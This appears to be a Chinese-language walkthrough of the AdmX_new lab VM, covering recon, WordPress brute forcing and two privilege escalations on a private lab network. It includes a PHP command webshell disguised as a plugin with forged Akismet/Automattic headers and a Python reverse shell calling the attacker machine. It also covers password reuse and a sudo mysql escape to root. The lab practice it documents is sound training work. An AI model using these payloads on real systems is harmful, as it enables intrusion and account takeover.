实验主机:AdmX_new靶机一台/Kali linux攻击机一台
AdmX_new靶机 IP:192.168.3.9
Kali linux攻击机 IP:192.168.3.32
实验网络:桥接模式
实验目标:获取靶机的Root权限
目录
一、环境部署
- 下载导入靶机 --- 打开vmware–文件–打开–AdmX_new.ova
- 将靶机网络适配器改为桥接模式
- 启动靶机
二、信息收集
1. 使用nmap扫描同一个段下存活的IP
nmap 192.168.3.1/24 #192.168.3.9开放80端口,应该是我们所用的IP
2. 访问http://192.168.3.9/
3. 使用nmap对靶机开放的端口进行更详细的扫描,只有80端口开放
nmap -A -T4 -p- 192.168.3.9
4. 目录识别,扫描发现了 wordpress 字样,可以判断网站用的 wordpress 框架
dirsearch -u http://192.168.3.9/
feroxbuster --url http://192.168.3.9 -w /usr/share/dirb/wordlists/common.txt
发现子目录:http://192.168.3.9/wordpress/wp-login.php
5. 访问登录页面,可以看到页面持续加载
6. 抓包进行分析
7. 可以看到在第一个请求的响应体里有多个 192.168.159.145 地址,下面的请求都是从第一个请求的响应体里发出,但由于请求不成功才导致页面的卡顿。尝试让页面加载时的请求全部指向本机。配置如下:注意是响应包
8. 放包然后可以正常访问
9. 利用wpscan探测出用户名admin
wpscan --url http://192.168.3.9/wordpress --enumerate
10 .爆破密码
wpscan --url http://192.168.3.9/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
密码:adam14
三、漏洞利用
1. 利用爆破出来的用户名和密码进行登录
2. 使用plugins功能安装一个我们编写的插件。在这里新建了一个shell.php的文件,并且压缩成zip格式,上传至plugins处进行安装,并点击activa plugin进行激活插件
<?php
/**
* Plugin Name: superwebshll
* Plugin URI: https://webshell.com/
* Description: This is webshell,thank u
* Version: 1.0
* Author: Automattic
* Author URI: https://automattic.com/wordpress-plugins/
* License: GPLv2 or later
* Text Domain: akismet
*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
3. 访问插件路径(建议下载目标框架源码看看各种对外路径)
http://192.168.3.9/wordpress/wp-content/plugins/shell.php?cmd=id
4. 发现能够执行命令,如果能够直接执行 php 或是 python 那就反弹 shell ,如果有长度限制的话就反弹个 nc。查找命令可以看到有 Python3 环境。
http://192.168.3.9/wordpress/wp-content/plugins/shell.php?cmd=which python3
5. 反弹shell
(1)在kali开启监听端口
nc -nvlp 8888
(2)使用python3进行反弹shell,反弹成功
http://192.168.3.9/wordpress/wp-content/plugins/exp.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.32",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
四、一次提权
1. 当前为普通权限,由于当前没有bash权限,也执行不了sudo查看是否有配置不当。先查看内核信息,无提权可用
2. WP 框架要看配置信息wp-config.php,可以看到用户名和密码
- 可以直接知道 MySQL 用户 admin 和密码 Wp_Admin#123,但登录数据库报错。
- 查看当前有哪些用户,发现用户wpadmin,在用户下面有local.txt,但是我们没有权限查看
cd /home
用户:wpadmin
3. 密码复用,网站管理员有可能会用相同的密码,利用已经获得尝试去登录wpadmin
登录成功后可以找到第一个flag
su wpadmin
密码:adam14
python3 -c 'import pty; pty.spawn("/bin/bash")' //出现交互shell
五、二次提权(MySQL提权)
1. 执行sudo -l
2. 可以看到执行/usr/bin/mysql -u root -D wordpress -p命令获得的是root权限。执行命令,尝试adam14密码成功获取操作系统root权限,成功获取第二条flag
sudo /usr/bin/mysql -u root -D wordpress -p #密码adam14
\! /bin/bash #切换到 root 权限的命令行